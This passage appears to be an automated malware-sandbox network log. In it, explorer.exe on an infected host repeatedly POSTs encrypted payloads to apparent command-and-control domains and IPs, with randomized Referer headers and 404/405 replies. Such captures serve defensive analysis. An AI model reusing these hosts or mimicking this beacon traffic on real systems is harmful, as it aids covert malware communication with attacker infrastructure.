"-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50003	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:07.973406076 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ylfiqfbsvxsdiv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: connecticutproperty.ru
Dec 19, 2024 11:00:07.973427057 CET	306	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be f0 3c 2d 9e Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)<-lZ2CfoI'!s4vhYO}\&k-cy?K(@4Rh@;:yS3;aV}.{r9v's#?emETU,P^A_
Dec 19, 2024 11:00:09.309182882 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:00:09 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50004	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:14.047979116 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ggphwqihuaca.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 269 Host: constractionscity1991.lat
Dec 19, 2024 11:00:14.048084021 CET	269	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 92 5c 37 a8 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)\7/2'X}>\|,+Uv<@,F;~={Towt,yO+w)VP m<"w}/Gb%ED7+2nXl\|G~KLi~7>k7
Dec 19, 2024 11:00:15.431368113 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50005	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:15.556154013 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nbcjwexjjibiqt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: restructurisationservice.ru
Dec 19, 2024 11:00:15.556154966 CET	244	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be bb 19 58 a4 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)X0H<a}B6JH7$zHMo>\|PV&rb({uz5ehEeJ`W D/H9Lgqs0moI4 k
Dec 19, 2024 11:00:16.925323009 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50006	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:17.052778959 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tjeuikagddjvc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 125 Host: connecticutproperty.ru
Dec 19, 2024 11:00:17.052819967 CET	125	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 8e 59 5c b7 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)Y\xJ2G2&N)cv^Y
Dec 19, 2024 11:00:18.386399984 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:00:18 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50007	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:22.247304916 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yylbqgigqdkmsn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 266 Host: constractionscity1991.lat
Dec 19, 2024 11:00:22.247355938 CET	266	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 89 42 71 9f Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)Bq=!BQ7ggR7Q=8e"D[{ktbyhsO<m;rb27gd`ma\|UZw#sh(H++/uC=s,]
Dec 19, 2024 11:00:23.618141890 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50008	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:23.743700027 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ufirisacqvk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: restructurisationservice.ru
Dec 19, 2024 11:00:23.743736982 CET	166	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 85 4c 5e 87 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)L^nA6lc#9SY/+,cb3czaf`zFk\|A)xsDV^
Dec 19, 2024 11:00:25.092927933 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50009	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:25.219163895 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ipingdnctvhe.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: connecticutproperty.ru
Dec 19, 2024 11:00:25.219197035 CET	333	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be fa 18 67 92 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)gj]&dPG(8Bj[>\^.Az0sCWqlaZK'jHyxor'AV;KooJ^/bP\v-`Nuv=4m+Uo;jf3
Dec 19, 2024 11:00:26.560724974 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:00:26 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50010	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:30.533154964 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xvohygrorigngv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: constractionscity1991.lat
Dec 19, 2024 11:00:30.533186913 CET	248	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be fe 55 28 de Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)U(2L8Ub\4e{36q"3Ej~g\DDu3_qJ}rf_g..N6A>wq~]sjlMtH=^k%`[wndIp^&D
Dec 19, 2024 11:00:31.889817953 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50011	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:32.014364004 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iqmcbtituxk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 331 Host: restructurisationservice.ru
Dec 19, 2024 11:00:32.014384985 CET	331	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 88 54 59 d0 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)TYziAe^}x]aO}@lm#1\|/E-K\v~0QMNvyFqdY2C5;Qf*~Ga&\|O?u{'\|9J^s[WmgCr
Dec 19, 2024 11:00:33.379775047 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:00:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50012	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:00:33.505337000 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rfcnfamftxutm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: connecticutproperty.ru
Dec 19, 2024 11:00:33.510246992 CET	335	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 9c 46 3d d9 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)F=nYK5KD{x~ZYEp1$8fd{U_gZs}+vEsf;_Cb Ko+7Az#9go&oinfOyS3&Eq\|uT0
Dec 19, 2024 11:00:34.846632957 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:00:34 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50013	94.156.177.51	80	1028	C:\Windows\explorer.exe

